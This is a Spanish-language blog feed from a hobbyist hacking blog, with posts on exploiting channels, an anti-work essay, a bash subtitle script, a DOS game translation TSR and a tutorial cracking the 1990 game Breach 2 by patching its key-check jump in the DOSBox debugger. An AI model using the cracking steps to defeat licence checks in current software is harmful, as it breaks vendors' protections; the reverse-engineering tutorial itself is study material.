tag:blogger.com,1999:blog-28879137082089604002024-03-14T08:24:48.632-07:00~ unix & cisco & hacks ~UNA FORMA DE PROTECCIÓN NO MUY USADA, PERO QUE PODRÉIS VER EN ALGUNOS PROGRAMAS, ES QUE EL BASIC CARGADOR ES RIDÍCULO Y A CONTINUACIÓN VIENEN UNOS BYTES QUE SE CARGAN Y SE EJECUTAN SIN QUE NINGUNA SENTENCIA LOS ACTIVE. VEAMOS ESTO CON MÁS PROFUNDIDAD...<br>
MICROHOBBY, LA BIBLIA DEL HACKER, ENTREGA XIII, 1986Unknownnoreply@blogger.comBlogger81125tag:blogger.com,1999:blog-2887913708208960400.post-45339837607474639412023-01-01T03:12:00.001-08:002023-04-07T01:55:32.990-07:00Exploitingahi van algunos canales interesantes de exploiting y temas afines.<br><br>
<a href="https://yewtu.be/channel/UCPqes566OZ3G_fjxL6BngRQ/">0x41414141</a><br>
<a href="https://yewtu.be/channel/UCksdNO8hAiOQoWZhEXhyyZA/">areyou1or0</a><br>
<a href="https://yewtu.be/channel/UCEeuul0q7C8Zs5C8rc4REFQ/">CryptoCat</a><br>
<a href="https://yewtu.be/channel/UCUcnLCrBVK9gS6ctEUVvkjA/">InfoSecLab at Georgia Tech</a><br>
<a href="https://yewtu.be/channel/UC3rljFNQ4DGgSadh2gpI86g/">Jo Praveen</a><br>
<a href="https://yewtu.be/channel/UCODQhmnWoV4Qg3KBJLwHT4Q/">OffSec Club</a><br>
<a href="https://yewtu.be/channel/UCW6MNdOsqv2E9AjQkv9we7A/">PwnFunction</a><br>
<a href="https://yewtu.be/channel/UC7iUQz7WRKyJFn6p51tJwfQ/">PwnHandler</a><br>
<a href="https://yewtu.be/channel/UCHkIKBnymUECkJ-d2RBJR8w/">RazviOverflow</a><br>
<a href="https://yewtu.be/channel/UCB0KsBKlEcEUaNfd5ylQvCQ/">Source Meets Sink</a><br>
<a href="https://yewtu.be/channel/UCFaDwP_8K4D1stmfmbO76xg/">Yeongjin Jang</a><br><br>
gracias a todos por compartir.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-45186129110745435332022-10-12T05:09:00.005-07:002024-02-04T01:00:10.386-08:00What's the worst job you've ever had?<i>cuando la fiesta nacional yo me quedo en la cama igual</i>, pero este blog ya hace telara~as, asi que vamos a hablar de un libro muy majo (se puede encontrar facilmente en la red :P) que empieza asi.<br><br>
<i>"Nadie debería trabajar.<br><br>
El trabajo es la fuente de casi toda la miseria en el mundo. Casi todos los males que puedas mencionar provienen del trabajo, o de vivir en un mundo diseñado para el trabajo. Para dejar de sufrir, tenemos que dejar de trabajar."</i><br><br>
<div class="separator" style="clear: both;"><img alt="la abolicion del trabajo" border="0" height="750" width="516" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4Ck57yXWDBMygS7iSSIaidlmuxYdIowKWPTrt2rl6Jx5gYC4zVqu_2nOKuS5iV5_gCX4ApkP_BJ_7N0Tk_bN_WA8Plp3QLAOO2JT6iSv3FEsXDXH6bT8BTwtxl6E3D36gfYTFYB_3ta0Oh0ttrezWQCGwx1afpD1X-fZcST3jl3xf7JRoh_O-r-pz4fas/s1600/la-abolicion-del-trabajo-xl.webp"/></div>
comparto una <a href="https://www.mediafire.com/file/8j7uu4fklvfhur5/inedita.mp3/file">cancion inedita de La Polla Records</a>, que esta sacada de un directo pirata en Tora (Lleida) del año 1986 y que dice asi.<br><br>
<audio controls>
<source src="https://punk.vlan7.org/inedita.mp3" type="audio/mpeg">
Your browser does not support the audio element.
</audio><br><br>
"el que no trabaja es<br>
porque no le da la gana<br>
ni puta falta que hace<br>
no queremos trabajar<br>
siempre estaremos de juerga<br>
este el sistema que este<br>
ser esclavos no nos llama<br>
aunque nos paguen muy bien<br>
mantener a los patrones<br>
no es nuestra debilidad<br>
no queremos dar ni golpe<br>
todo menos trabajar."<br><br>
trabajo, del latin <i>tri</i> y <i>palis</i> (tripalium), instrumento de tortura que consistia en un yugo de tres estacas, donde amarraban a reos para[Informacion anulada por el sistema].<br><br>
vender tu tiempo a tu jefe por un trabajo que muchas veces no solo no mejora el mundo sino que lo hace peor, ni es saludable ni nos deja tiempo para lo realmente importante. la putada es que aun hace falta dinero para sobrevivir, pero sobrevivir no es vivir, por eso el mundo necesita dinero gratis, para poder hacer todas las cosas que queremos hacer.
<br><br>
"muy bonito, pero no puede ser". pues a lo mejor en x decadas lo vemos de otro modo. en los 90 habia una gente que queria tarifa plana en internet para todo el mundo ¡sinverguenzas!. decir "la mili es una putada pero te hace un hombre" hoy se veria aun mas caduco de lo que en realidad siempre fue, pero la verdad es que en su dia mucha gente lo veia asi, y lo normal era eso. y aunque el trabajo asalariado no se aboliera nunca, hacia algo hay que tender, porque asi tambien se avanza.
<br><br>
¿sabes programar? comparte codigo. ¿eres un manitas con la fontaneria, o quizas sabes arreglar una caldera? enseña a los demas como se hace. es saludable hacer cosas por el mundo. un puto banquero, un publicista de mierda... ¿que hacen?.<br><br>--<br>
"has pensado alguna vez / si te toca la loteria / al cabron de tu jefe / la boca le partirias."<br>
Cicatriz en la Matriz, "Por que" (Demo 1983)Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-358066013776101812021-09-19T10:37:00.008-07:002024-02-04T01:14:17.488-08:00todo el poder para la genteen internet hay proyectos admirables, comparto unos cuantos random. Ojala que haya mas cada vez y la informacion se expanda.<br><br><div class="separator" style="clear: both;"><a href="https://freeeducationweb.com/" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" height="49" width="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsu87YHrYMRlzlpygnJm-mIXgOejhh6PbJsPZiyrxPHSt-CpEfvMXaMcUTGhX0JkHOSIDKKH4iGgdLMP0VyKJezQY66LKULpc7ulgWIgtt72DwhvA1r1imQi25pWeaBUqIUMfoLWMiZ18Q4RakuuRdA9W2ObxVmlG39YjVMHNpWToL53wXZc5CHC06pTkX/s1600/00%20-%20freeeducationweb.webp"/></a></div><div class="separator" style="clear: both;"><a href="https://freeeducationweb.com/" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" height="112" width="586" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnITBsQGuPC_jaWK3rkmBqus1fLulIT9PtFWd63eEMtYwcTgMDcDMFuuelDkkX7m_sDC61pU317AGlPyDBl_CMPTyQiD5T0mhcn258P219YrZ6uoT9qQS07niD0OpTuBTz-_00c2AbEwZr3RKHNveKkLE1ISVTUcW9uIL-ttdNNrePo8DGHk8K_sWZV6Wb/s1600/01%20-%20freeeducationweb.webp"/></a></div><div class="separator" style="clear: both;"><a href="https://freeeducationweb.com/" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" height="329" width="405" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNFvFUI02efr63fXUMJTnH4i_nVsVf2FMCB8TRKKPnzg1nLGXRrmiWfFS4ZOrxPXdpZJfxmh-vCsdg4RjQWswttSdCB_jPG2Ge59HAJfxk1C_7257Evl7ef8qLS5luE6DfJ-0zi629N39DI7d3WP14Hene0tMgz-TENTwGSmprOH4EB5RzN-NbnDRR7k6_/s1600/02%20-%20freeeducationweb.webp"/></a></div><div class="separator" style="clear: both;"><img alt="https://zoowoman.website/" border="0" height="347" width="951" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFH9rwdMJXuAxNhsqR8JbqLnl68iU36_zenqaL0XcI90YU775CQSQqkSZhT8mWJ77kX3HlErJpI8s3yiro4KutyAb1P1wD9fjeL7rK8bVp7lkid1EardTMXKgvi-X3cxPjUpwauiKR9qoPXYlEtomJBuQhY-vfBDp6MI-HWxuwGbHcfkl84c0Aoo18Op1G/s1600/05%20-%20SOBRE%20ZOOWOMAN%20%E2%80%93%20Zoowoman%201%200.png"/></div><div class="separator" style="clear: both;"><img alt="" border="0" height="428" width="904" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR-FTItbxDnmdRffTgUWZxO8ZScKyndqsppv0yrv-0aI6ZYEEOySHe1L0T7k2QHyN8KmEe9s_vN5JBjBhBvFIJMgU5cQH5aUr6bf4D1G4-Gy7KG65p9I88dvggSAi6iCiQcLiZll2jMK4rhSQzWgs1KYDAWqXF1hH4JvWxyMETVHj7SvmfX9Fif6xigRTN/s1600/06-Sci-Hub%20removing%20barriers%20in%20the%20way%20of%20science.webp"/></div><div class="separator" style="clear: both;"><img alt="" border="0" data-original-height="434" data-original-width="973" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH_SmzQbG3MNyIqUFxTmrsmaZfNlEM-Kf5KUzQBhEBsGbHLtH6X8x0adrDmiRhH3j79tazoYGYETu5SG6Q83hTYeXBSwecni1VkRYYvlWBIlg-sWnxZJQ_oNDsT4A8BRRA_xv59yhbVZ14RYK0GrCRiDY9gaEYl_l1HOrrvp26ZnTlfokFIK-I46X-nabJ/s1600/07%20-%20Sci-Hub%20removing%20barriers%20in%20the%20way%20of%20science.png"/></div><div class="separator" style="clear: both;"><img alt="" border="0" height="422" width="980" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCoPhemd3p7C0eh5H6OPfRs4HTo51gwCP2ukSsfsGUIcCwXq0YJ5DOf37zsz3sXF9h4rVaS6-RLBYRbYgkna5-bu87TPy7iAOmDaWhw-bNvf0eDpBGP2u1Uys877XZeviKvy1Y7RcuQMBqy370aERKS8IDW_PTCyj-8JNw4U1FWiRJ55CKYGtEhvITUhba/s1600/08%20-%20Sci-Hub%20removing%20barriers%20in%20the%20way%20of%20science.webp"/></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-64439570527329659412021-07-21T10:42:00.010-07:002024-02-04T00:59:47.507-08:00SARTEN v0.1, un script para añadir subtitulos (soft, mkv) a un archivo de videocine cine cine cine, mas cine por favor.<br><br>
como ultimamente soy de los que prefieren ver las peliseries en VOSE, pues a veces me toca cacharrear con subtitulos, sincronizaciones, matroska por aqui matroska por alla, etc etc.<br><br>
mkvtoolnix es un programita bastante interesante para crear archivos .mkv, que por si alguien no lo supiera, matroska es algo asi como un archivo contenedor donde podemos meter archivos de video, audio o texto (subtitulos por ejemplo).<br><br>
mkvtoolnix-gui esta muy bien para subtitular un archivo o dos, pero claro, cuando ya has creado unos cuantos videos con subs, y quieres subtitular una temporada entera... se hace cansino, la cantidad de clics que hay que hacer es considerable. Pues que bien, un candidato perfecto para un cutrescript. :)<br><br>
<pre>#!/bin/bash
# dependencias: python-chardet mkvtoolnix
#
# sarten.sh v0.1, jul-2021, GPL-2.0-or-later, vlan7 <https://www.vlan7.org>
# un script para anyadir subtitulos (soft, mkv) a un archivo de video.
#
################################################################################
#
# a partir de un archivo de video y otro de subtitulos, genera un archivo .vose.mkv
# por ejemplo, "./sarten.sh video.avi sub.srt" generaria el archivo "video.vose.mkv"
#
# si todo va bien, lo ultimo que imprime por la salida estandar seria:
# SUCCESS: video.vose.mkv
#
# el script se apoya en el comando file para intentar detectar la codificacion
# de los subtitulos. Y para el edge-case "unknown-8bit" intenta averiguarlo con
# la utilidad chardetect (debian: python-chardet).
# la codificacion es importante para mostrar bien tildes, enye, ¿, ¡, etc.
#
# el script se apoya en las utilidades mkvinfo y mkvmerge (debian: mkvtoolnix)
# para generar el archivo whatever.vose.mkv y en este archivo:
# si hay mas subtitulos, los respeta y no borra nada, y
# el subtitulo que pasamos al script:
# -pasa a ser la pista 0 (el resto de pistas se incrementan en 1)
# -se establece el idioma a Spanish
# -se marca como pista por defecto (se mostrara por defecto nuestro subtitulo,
# con preferencia sobre otros, si hubiera).
#
# ejemplo de uso:
#
# $ ./sarten.sh whatever.mkv whatever.srt
# Video : whatever.mkv
# Subtitulo : whatever.srt
# Titulo : whatever
# Charset : iso-8859-1
# Dst_file : whatever.vose.mkv
#
# mkvmerge v52.0.0 ('Secret For The Mad') 64-bit
# 'whatever.srt': Usando el desmultiplexador para el formato 'Subtítulos SRT'.
# 'whatever.mkv': Usando el desmultiplexador para el formato 'Matroska'.
# 'whatever.srt' pista 0: Usando el módulo de salida para el formato 'Subtítulos de texto'.
# 'whatever.mkv' pista 0: Usando el módulo de salida para el formato 'AVC/H.264'.
# 'whatever.mkv' pista 1: Usando el módulo de salida para el formato 'AAC'.
# 'whatever.mkv' pista 2: Usando el módulo de salida para el formato 'Subtítulos de texto'.
# 'whatever.mkv' pista 3: Usando el módulo de salida para el formato 'Subtítulos de texto'.
# El archivo whatever.vose.mkv ha sido abierto para su escritura.
# Progreso: 100%
# Los registros del cue (el índice) están siendo escritos...
# El multiplexado tardó 1 segundo.
#
# SUCCESS: whatever.vose.mkv
# $
################################################################################
SELF=$(basename $0)
if [ "$#" -ne 2 ]; then
echo -e "\nUsage: $SELF [video-file] [subtitle-file]\n"
exit 1
fi
command -v chardetect >/dev/null 2>&1 || { echo >&2 "I require chardetect but it's not installed. debian: apt-get install python-chardet"; exit 1; }
command -v mkvmerge >/dev/null 2>&1 || { echo >&2 "I require mkvmerge but it's not installed. debian: apt-get install mkvtoolnix"; exit 1; }
command -v mkvinfo >/dev/null 2>&1 || { echo >&2 "I require mkvinfo but it's not installed. debian: apt-get install mkvtoolnix"; exit 1; }
SRC_FILE="$1"
SRT_FILE="$2"
TITLE="$(echo "$1" |sed 's/\.[^\.]*$//')"
DST_FILE="$TITLE.vose.mkv"
CHARSET="$(file -bi "$SRT_FILE" |cut -d= -f2 )"
if [ $CHARSET = unknown-8bit ]; then
CHARSET=$(chardetect "$SRT_FILE" |grep -Po '(?<=: ).*(?=with)' |tr -d ' ')
fi
if [ ! $CHARSET ]; then
echo "I couldn't find out the charset. bye"
exit 1
fi
echo -e "Video\t\t: $SRC_FILE\nSubtitulo\t: $SRT_FILE\nTitulo\t\t: $TITLE\nCharset\t\t: $CHARSET\nDst_file\t: $DST_FILE\n"
## si no quisieramos copiar los subtitulos que pueda haber en $SRC_FILE descomentar...
#mkvinfo "$SRC_FILE" |grep -qi subt
#if [ $? -eq 0 ]
#then # ya tiene subs
# mkvmerge -o "$DST_FILE" --title "$TITLE" --default-language spa --default-track 0 --sub-charset 0:"$CHARSET" --language 0:Spa "$SRT_FILE" --no-subtitles "$SRC_FILE"
#else # no tiene subs
mkvmerge -o "$DST_FILE" --title "$TITLE" --default-language spa --default-track 0 --sub-charset 0:"$CHARSET" --language 0:Spa "$SRT_FILE" "$SRC_FILE"
#fi
RETVAL=$?
##
if [ $RETVAL -ne 0 ]; then
echo -e "\nFAILED!"
else
echo -e "\nSUCCESS: $DST_FILE"
fi
exit $RETVAL</pre>
y para series... pues imagina una temporada de 13 capitulos :D tranqui, no tenemos que lanzar el script 13 veces, podriamos pegar en la shell algo como:<br>
<pre>mkv=(./*.mkv)
srt=(./*.srt)
for ((i=0;i<=${#mkv[@]};i++)); do #en bash los arrays empiezan en 0, en zsh en 1. una posible solucion portable bash+zsh es hacer un bucle de n+1 iteraciones y para el elemento vacio del array no hacer nada (en zsh nos saltariamos la primera iteracion, en bash la ultima)
[ -e "${mkv[i]}" ] || continue #nullglob
[ -e "${srt[i]}" ] || continue #nullglob
~/scripts/sarten.sh "${mkv[i]}" "${srt[i]}"
done</pre>
que el trabajo rutinario lo haga la maquina y nosotros a otra cosa.<br><br>
Antes:<br>
<div class="separator" style="clear: both;"><img alt="" border="0" height="648" width="795" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha_mCNXbwdDxC5MmoIt8lRH8nracfI2m-QdGs79l0i-1vjaab2hmw_kgDlyN9nD02KzL02YSXF4uAwI5aQ2RoEpgbhS0Y6Basfso-gnSFbVYZ4U0HAZ2FW-149J9OOq8OGjRZ-dy-kctbwsby-6n2wkT5AUu-cYDnyA85uIR4dt0Lnl3arcA-Oqr3OD5H6/s1600/1.webp"/></div><br>
Despues:<br>
<div class="separator" style="clear: both;"><img alt="" border="0" height="649" width="797" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipu675vgvfE1aaEHJem730UOG2jI4EsSh9iYmJvagtaE5ZR8CgFDSntKrTiYwXAaIuuPlu9hKMvMA2xLVuOf2d7_5H8QETT-BLcgX9CE4WGudwI2ul3kTMcdVblupiEzNY9wFX9Zsw66L-NvIQ8NHCc4oTLMPw1SeCqc1GuE9bF5f8XCiPALZSMN_Kb-yl/s1600/2.webp"/></div><br>
Feliz programacion.<br>
<div class="separator" style="clear: both;"><img alt="parasitos" border="0" data-original-height="514" data-original-width="520" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqYmM-SV2Nd480fQ7rlw8AtKETFwnmPfPuszH9NHIz37cVd8d4Msg-8ToIY4yFklMcaN6fU1M5XOETD8SiiZWUNjkpBTspEHiNlR0evUUNCKpNvg1WlKjTLBqN9zQA1StEa-hmAknXSsXOC8uI7ZpssmFOoq7odUWsul4c_Z_7QLHt4zfArru2cdWKZmVz/s1600/s.webp"/></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-2227432694210653142021-04-21T11:31:00.000-07:002024-02-04T01:02:58.818-08:00DOS cracking series VIII ~ PALESTRA v0.1, un TSR para traducir al castellano la aventura grafica/conversacional 'Les Manley in: Search for the King' v2.0; PALESTRA v0.1, abr-2021, GPL-2.0-or-later, vlan7 <https://www.vlan7.org><br>; un TSR para traducir al castellano la aventura grafica/conversacional<br>; Les Manley in: Search for the King v2.0<br>;<br>; PALESTRA is free software: you can redistribute it and/or modify<br>; it under the terms of the GNU General Public License as published by<br>; the Free Software Foundation, either version 2 of the License, or<br>; (at your option) any later version.<br>;<br>; PALESTRA is distributed in the hope that it will be useful,<br>; but WITHOUT ANY WARRANTY; without even the implied warranty of<br>; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the<br>; GNU General Public License for more details.<br>;<br>; You should have received a copy of the GNU General Public License<br>; along with PALESTRA. If not, see <https://www.gnu.org/licenses/>.<br>;<br>; why PALESTRA?<br>; $ grep les /usr/share/dict/spanish |grep tra<br>; palestra<br><br> <u><font color="00BB00">0. TL;DR</font></u><br>PALESTRA es un TSR que hace un man in the middle entre el juego y el jugador, para interceptar comandos y mensajes, y traducir comandos castellano->ingles y mensajes ingles->castellano. Todo esto en memoria y transparente para el juego. <pre>jugador <--> TSR <--> juego</pre> es importante destacar que es un man in the middle, es decir, el parser del juego no se toca, para el juego todo sigue estando en ingles, hay un flujo bidireccional constante, de comandos y mensajes en ingles y castellano, y el TSR traduciendo y dando cambiazos en memoria constantemente.<br><br> <u><font color="00BB00">1. sobre el juego</font></u><br>es una vieja (1990) aventura grafica/conversacional para DOS, con una interfaz similar a las primeras aventuras de Sierra, donde los comandos se introducen por teclado, hay un parser que los interpreta, y movemos al protagonista por la pantalla con los cursores (o el raton). + Info <a href="https://www.mobygames.com/game/dos/les-manley-in-search-for-the-king">https://www.mobygames.com/game/dos/les-manley-in-search-for-the-king</a><br><br> <u><font color="00BB00">2. sobre la traduccion</font></u><br>basicamente son dos partes a traducir.<br>1. comandos que introduce el jugador (parser) y<br>2. mensajes que muestra el juego, normalmente como respuesta a estos comandos.<br><br> <u><font color="00BB00">3. creditos</font></u><br>traductores: <font color="00BB00">pakolmo</font> y <font color="00BB00">danstructor</font><br>fuentes de letra: <font color="00BB00">pakolmo</font><br>codigo: <font color="00BB00">vlan7</font><br><br> <u><font color="00BB00">4. descargas</font></u><br>1. Solo traduccion (binarios y codigo fuente) <a href="https://archive.org/details/palestra-0.1b.-7z">https://archive.org/details/palestra-0.1b.-7z</a><br>2. Juego ingles v2.0 original de Archive <a href="https://zen7.vlan7.org/file-cabinet/King2.7z">https://zen7.vlan7.org/file-cabinet/King2.7z</a><br>3. Juego con traduccion aplicada (v2.0 original de Archive + traduccion -binarios y codigo fuente-) <a href="https://zen7.vlan7.org/file-cabinet/King2_y_traduccion.7z">https://zen7.vlan7.org/file-cabinet/King2_y_traduccion.7z</a><br><br> por supuesto se incluye el codigo fuente en ensamblador (programado desde cero), los diccionarios y un par de scripts auxiliares. Todo un poco quick&dirty aun, pero el juego ya es completable en castellano. Para jugar la opcion mas rapida es bajarse el paquete 3, y en dosbox ejecutar RUNME.BAT y a jugar. + Info en el README.TXT<br><br> quiero dedicar la traduccion a Lino, El Gato. El dia que nos dejo se subio la traduccion a internet, el 18 de abril de 2021. Al final encontre al Rey. Buen viaje y pechuga de pavo. Te queremos.<br><br> <a href="https://www.vlan7.org/2018/12/dos-cracking-series-i-cracking-de-un.html">01. Cracking de un juego DOS con IDA (analisis estatico)</a><br><a href="https://www.vlan7.org/2019/01/dos-cracking-series-ii-cracking-de-un.html">02. Cracking de un juego DOS con DOSBox debugger (analisis dinamico)</a><br><a href="https://www.vlan7.org/2019/02/dos-cracking-series-iii-haciendo-un.html">03. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (I)</a><br><a href="https://www.vlan7.org/2019/04/dos-cracking-series-iv-haciendo-un.html">04. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (II)</a><br><a href="https://www.vlan7.org/2019/10/dos-cracking-series-v-dandole-al-dosbox.html">05. Dandole al debugger para arreglar un bug en un juego DOS</a><br><a href="https://www.vlan7.org/2020/12/dos-cracking-series-vi-programando-un.html">06. Programando un TSR para interceptar, en una aventura grafica/conversacional, los comandos que introduce el jugador (y cambiarlos al vuelo)</a><br><a href="https://www.vlan7.org/2021/01/dos-cracking-series-vii-otro-cracking.html">07. (otro) cracking de un juego DOS con DOSBox debugger (analisis dinamico)</a><br>08. PALESTRA v0.1<br><div class="separator" style="clear: both;"><a href="https://www.google.com/search?q=%22la+abolicion+del+trabajo%22"><img alt="tripalium" border="0" height="542" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHXep2_22yehpP8kPQCcrlVkxJ6Y8m8qj9brv5IWgGkTrrsXqo6mpSaV0qtb6W3hxVP906jFDq3jic1u1uRVgAtoRmx0O8epBGuJhadiv4MA-9guI8Tfpy3uJEM533yLalV7aH-XgqOikM4W0cBfYZTi6Rd4e-X3lesf7_52r57jiQpOp5eJ58n4nJ2SmB/s1600/tripalium.webp"/></a></div>
<a href="https://www.google.com/search?q=%22la+abolicion+del+trabajo%22">https://www.google.com/search?q=%22la+abolicion+del+trabajo%22</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-31061510935572586922021-04-18T04:30:00.004-07:002023-01-12T04:13:05.985-08:00pechuga de pavo<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimrIMCqnnSYWjkohPUYiJOjp2o3P3rrKDqRMC4PCfPFh50dSAyvCFCqH6WBD1sBBvJ6MHQ_mGmUifiob0usnuUHUMt2OaERZG1ZrluK_8ITflEzi71bg6awCZqBTQlU5nV6o3Emeu-OTu2l0OC3OuQlWW2OUY2rIdVvuXSSOV-CZCHmTnSea2LR0ARVA/s944/mayolino.jpg" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" width="600" data-original-height="667" data-original-width="944" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimrIMCqnnSYWjkohPUYiJOjp2o3P3rrKDqRMC4PCfPFh50dSAyvCFCqH6WBD1sBBvJ6MHQ_mGmUifiob0usnuUHUMt2OaERZG1ZrluK_8ITflEzi71bg6awCZqBTQlU5nV6o3Emeu-OTu2l0OC3OuQlWW2OUY2rIdVvuXSSOV-CZCHmTnSea2LR0ARVA/s320/mayolino.jpg"/></a></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2887913708208960400.post-21942806507391319582021-01-11T00:43:00.000-08:002021-06-01T01:35:01.245-07:00DOS cracking series VII ~ (otro) cracking de un juego DOS con DOSBox debugger (analisis dinamico)Vamos a hacer un descanso con un articulo introductorio.<br><br> Es un crack que hice hace algun tiempo para <a href="https://www.mobygames.com/game/dos/breach-2">Breach 2</a>, un juego de estrategia por turnos desarrollado por Omnitrend Software en 1990.<br><br> La proteccion es sencilla. Es suficiente con modificar un salto condicional a chico_bueno por un salto incondicional.<br><br> Ejecutamos el juego, y cuando nos pregunta por la clave entramos al debugger de DOSBox (ALT+PAUSA).<br><br> Para intentar caer lo mas cerca posible del punto donde el juego comprueba la clave introducida, ponemos un breakpoint a la INT 9 (INT de teclado de la BIOS). DOSBox debugger -> BPINT 9<br><br> Reanudamos la ejecucion (F5), y en el juego pulsamos Intro. Entonces saltara el debugger. Nos situamos en la primera instruccion de la INT 9 (debugger -> INTHAND 9) y vamos ejecutando instruccion por instruccion (F10).<br><br> Por alguna razon que no he analizado, al llegar a la instruccion IRET de la INT 9, podemos retornar a dos puntos distintos del codigo, segun la clave sea correcta o no. Bueno, vamos a probar con "la otra" INT de teclado: INT_16 (interrupcion de teclado del DOS). Salimos del juego y volvemos a empezar. debugger -> BPINT 16 y las cosas parecen mas favorables, ya que cuando retornamos con IRET, estamos en el mismo punto del codigo tanto si introducimos una clave correcta como incorrecta.<br><br> Bien, seguimos ejecutando paso a paso (F10) y bueno, si llegamos a algun CALL y, tras pulsar F10, el juego nos salta con el mensaje de "clave invalida", entonces significa que el chequeo de claves esta dentro de dicho CALL. Entonces saldremos de DOSBox y volveremos a empezar, y al llegar a ese CALL, en vez de pulsar F10 pulsaremos F11 para entrar en el. Esta es la parte aburrida, pero no tardamos en llegar al meollo de la cuestion: un bucle repeat-until donde se comprueba la clave introducida con la correcta, caracter a caracter. La condicion que rompe el bucle es: <pre>339:FC50 3BCE cmp cx,si ;¿hemos comprobado todos los caracteres de la clave?<br />339:FC52 77D4 ja FC28 ($-2c) ;NO: seguir con el siguiente caracter<br />339:FC54 ... ;buen sitio para poner un breakpoint</pre> Cuando estamos en "cmp cx,si", CX=num_chars_por_comprobar. Justo despues viene el salto condicional "ja FC28", que rompera el bucle cuando no queden caracteres por comprobar.<br><br> Si queremos avanzar hasta cuando se haya comprobado toda la clave, un buen sitio para poner un breakpoint es la primera instruccion que se ejecuta justo despues de salir del bucle. En esta ejecucion seria -> BP 339:FC54. Reanudamos la ejecucion con F5 y unas pocas instrucciones despues llegamos al punto en que el codigo comprueba si la clave entera ha sido correcta o no. El flujo de ejecucion se divide en dos caminos. <pre>CS:FC60 263987A21C cmp es:[bx+1CA2],ax ;¿chico bueno o chico malo?<br />CS:FC65 7443 je FCAA ($+43) ;chico_bueno (crack: JMP ~ EB 43)<br />CS:FC67 ... ;chico_malo</pre> <pre><br />Si la clave es correcta -> al juego en si -> seguir ejecucion en CS:FCAA<br />Si no lo es -> poner mensaje de clave incorrecta y volver a pedir la clave, aqui no juega nadie hasta que la clave sea buena, y si fallas X veces, salir al DOS -> seguir ejecucion en CS:FC67</pre> El salto condicional "je FCAA" se cumple para chico_bueno (clave introducida = clave correcta). Por lo tanto, para que chico_malo pueda jugar tambien, la solucion simple es modificar el salto condicional por un salto incondicional. Es decir, modificar "JE +43h" por "JMP +43h". Es decir, modificar los bytes "74 43" por "EB 43". En esta ejecucion seria -> SM 339:FC65 EB 43<br><br> Si seguimos la ejecucion paso a paso con unos cuantos F10, veremos que entramos al juego en si.<br><br> No nos hemos topado con ninguna comprobacion adicional, asi que parece que solo tenemos que modificar un byte para que el juego acepte cualquier clave como valida. :)<br><br> Abrimos BREACH2.EXE con un editor hexa y buscamos la cadena "263987A21C7443". Y... no la encontramos.<br><br> Resulta que el codigo en tiempo de ejecucion (en memoria) es distinto al codigo en el archivo ejecutable, pero no pasa nada, podemos seguir relajados, no hara falta hacer ningun cargador/TSR que modifique el codigo en tiempo de ejecucion. + Info <a href="https://www.vlan7.org/2019/02/dos-cracking-series-iii-haciendo-un.html">03. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (I)</a> y <a href="https://www.vlan7.org/2019/04/dos-cracking-series-iv-haciendo-un.html">04. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (II)</a><br><br>El ejecutable esta empaquetado (comprimido) y cuando lo ejecutamos se desempaqueta (descomprime) en memoria. Asi que vamos a descomprimir el archivo. La herramienta <a href="http://unp.bencastricum.nl/">UNP.EXE [1]</a> es una buena primera opcion. No puede desempaquetar todo, pero es bastante todoterreno. Desde DOSBox: <pre>UNP BREACH2.EXE</pre> Y ya tenemos el ejecutable descomprimido. Volvemos a abrirlo con un editor hexa y buscamos la cadena "263987A21C7443", que ya si encontramos. La sustituimos por "263987A21CEB43" y ya esta. Ya hemos crackeado el juego. :)<br><br> PD: cuidado con el comando SM en dosbox-x. Si en debugger escribimos: <pre>SM segment:offset CF</pre> dosbox-vanilla escribira el byte CF (iret), pero dosbox-x escribira 0 ó 1, en funcion del valor del flag de carry (CF). Hay una colision entre el nombre de algunos flags (AC, AF, CF y DF) y los valores en hexa.<br><br> Para solucionarlo yo lo que hice fue eliminar unas pocas lineas del codigo fuente de dosbox-x, y dejar un <a href="https://www.vogons.org/viewtopic.php?p=806403#p806403">pequeño parche en Vogons [2]</a><br><br> En versiones posteriores de dosbox-x, se añadio la posibilidad de escribir los bytes entre "" para forzar que la cadena se tome como valores hexa.<br><br> Feliz cracking.<br><br> [1] <a href="http://unp.bencastricum.nl/">http://unp.bencastricum.nl/</a> <i>UNP Executable file expander: uncompresses files compressed with DIET, EXEPACK, LZEXE, PKLITE and many other file compression utilities. UNP also allows you to convert files from COM to EXE and vice versa, optimize EXE headers, remove overlay data from EXE files and more.</i><br>[2] <a href="https://www.vogons.org/viewtopic.php?p=806403#p806403">https://www.vogons.org/viewtopic.php?p=806403#p806403</a> evitar colisiones entre nombre de flags y valores hexa en comando SM en dosbox-x (patch)<br>---<br><a href="https://www.vlan7.org/2018/12/dos-cracking-series-i-cracking-de-un.html">01. 